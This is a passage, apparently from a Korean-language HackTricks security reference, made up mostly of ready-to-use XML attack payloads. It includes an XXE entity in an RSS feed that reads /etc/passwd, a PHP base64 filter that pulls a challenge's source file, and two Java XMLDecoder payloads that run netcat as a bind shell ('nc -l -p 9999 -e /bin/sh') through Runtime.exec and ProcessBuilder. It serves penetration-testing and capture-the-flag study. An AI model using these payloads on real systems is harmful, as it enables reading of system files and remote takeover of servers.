<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

파일 읽기

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

소스 코드 읽기

PHP base64 필터 사용

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE to RCE

XMLDecoder는 XML 메시지를 기반으로 객체를 생성하는 Java 클래스입니다. 악의적인 사용자가 readObject 메서드 호출에 임의의 데이터를 사용하도록 애플리케이션을 유도할 수 있다면, 그는 즉시 서버에서 코드 실행 권한을 얻게 됩니다.

Using Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

도구

참고자료

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

Last updated